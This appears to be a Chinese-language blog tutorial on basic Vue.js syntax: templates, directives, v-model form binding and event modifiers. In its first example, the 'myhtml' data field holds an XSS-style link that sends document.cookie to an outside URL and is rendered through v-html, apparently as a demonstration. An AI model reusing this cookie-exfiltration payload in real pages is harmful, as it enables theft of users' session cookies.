Vue的一些基础语法

1,常用的语法

<div id="box">
      {{ 10+20 }}
      {{ 10>20 ? 'aaa':'bbbb' }}
      {{ myname }}
      {{ myhtml }}
      <div v-html="myhtml"></div>

      <div v-if="isCreated">
        我是动态创建和删除
      </div>
      <div v-show="isShow">
        我是动态显示和隐藏
      </div>
      <ul>
        <li v-for="(item,index) in datalist">
          {{ item }}
        </li>
      </ul>
      <div v-bind:class="isRed?'myred':'myyellow'">1111111</div>
      <div :class="isRed?'myred':'myyellow'">1111111</div>
      <img v-bind:src="imgpath"/>
      <button v-on:click="handleClick()">click1</button>
      <button @click="handleClick()">click2</button>
    </div>  
   
    <script>
      var vm = new Vue({
        el:"#box",
        data:{//状态
          myname: 'kerwin',
          myhtml: "<a href=javascript:location.href='http://www.baidu.com?cookie='+document.cookie>**和**有事儿</a>",
          isCreated:true,
          isShow:true,
          datalist:["kerwin","xiaoming","tiechui","tieqiu"],
          whichcolor:"myred",
          isRed:true,
          imgpath:"https://pic.maizuo.com/usr/movie/c14daaf24fc50c767f5c067f2c05316b.jpg?x-oss-process=image/quality,Q_70"
        },
        methods: {
          handleClick(){
            console.log("handleclilclk")
            //this指向的是vue实例
            this.isCreated = !this.isCreated
            this.isRed = !this.isRed
          }
        },
      })
    </script>

2,表单绑定

{{mytext}}--{{mypassword}}

   全选：<input type="checkbox" v-model="isAllChecked"/>
    <p>
    兴趣爱好
    
    <input type="checkbox" v-model="checkgroup" value="vue"/>vue
    <input type="checkbox" v-model="checkgroup" value="react"/>react
    <input type="checkbox" v-model="checkgroup" value="jquery"/>jquery
    </p>
    {{checkgroup}}

    <p>
        最喜爱的js库或者框架
        
        <input type="radio" v-model="kerwin" value="vue" name="aaa"/>vue
        <input type="radio" v-model="kerwin" value="react" name="aaa"/>react
        <input type="radio" v-model="kerwin" value="jquery" name="aaa"/>jquery
    </p>
    {{kerwin}}
</div>


<script type="text/javascript">
	var vm =   new Vue({
          el:"#box",
          data:{
              isAllChecked: false,
              mytext:"",
              mypassword:"",
              checkgroup:[],
              kerwin:""
          }
      })
      // mvc mvvm (双向绑定 v-model) mvp
</script>

<div id="box">
       <input type="text" v-model="mytext"/>
       <input type="password" v-model="mypassword"/>
        {{mytext}}--{{mypassword}}
       <textarea v-model="mytext"></textarea> 

       全选：<input type="checkbox" v-model="isAllChecked"/>
        <p>
        兴趣爱好
        
        <input type="checkbox" v-model="checkgroup" value="vue"/>vue
        <input type="checkbox" v-model="checkgroup" value="react"/>react
        <input type="checkbox" v-model="checkgroup" value="jquery"/>jquery
        </p>
        {{checkgroup}}

        <p>
            最喜爱的js库或者框架
            
            <input type="radio" v-model="kerwin" value="vue" name="aaa"/>vue
            <input type="radio" v-model="kerwin" value="react" name="aaa"/>react
            <input type="radio" v-model="kerwin" value="jquery" name="aaa"/>jquery
        </p>
        {{kerwin}}
    </div>


    <script type="text/javascript">
    	var vm =   new Vue({
              el:"#box",
              data:{
                  isAllChecked: false,
                  mytext:"",
                  mypassword:"",
                  checkgroup:[],
                  kerwin:""
              }
          })
          // mvc mvvm (双向绑定 v-model) mvp
    </script>

3,事件处理

<div id="box" >
        {{count}}
       <button @click="handleClick()">click1</button>
       <button @click="handleClick">click2</button>
       <button @click="count++">click3</button>  
       
       <input type="text" @input="handleInput1"/>
       <input type="text" @input="handleInput2($event)"/>

       <ul @click.self="handleUlClick()">
           <li @click.stop.prevent="handleLiClick">1111</li>
           <li @click="handleLiClick">22222</li>
           <li @click.once="handleLiClick">33333</li>
       </ul>

       <a href="http://www.baidu.com" @click.prevent="handleChange()">change</a>


       <button @click="isActive && handleClick()">解绑测试</button>

       <input type="text" @keyup.13.ctrl="handleKeyup"/>
    </div>

    <script type="text/javascript">
        var vm = new Vue({
            el:"#box",
            data:{
                isActive:true,
                count: 0
            },
            methods:{
                handleKeyup(ev){
                    console.log("keyup",ev.keyCode)
                    // if(ev.keyCode ===13) {
                    //     console.log(ev.target.value)
                    // }
                },
                handleClick(){
                    this.count++;
                },
                handleInput1(evt){
                    console.log("input1",evt.target.value)
                },
                handleInput2(evt){
                    console.log("input2",evt.target.value)
                },
                handleLiClick(){
                    // evt.stopPropagation();
                    
                    console.log("li click")
                },
                handleUlClick(){
                    console.log("ul click")
                },
                handleChange(){
                    //ev.preventDefault()
                    console.log("click")
                }
            }
        })
    </script>

上面的都是一些简单的vue操作,都是最基础的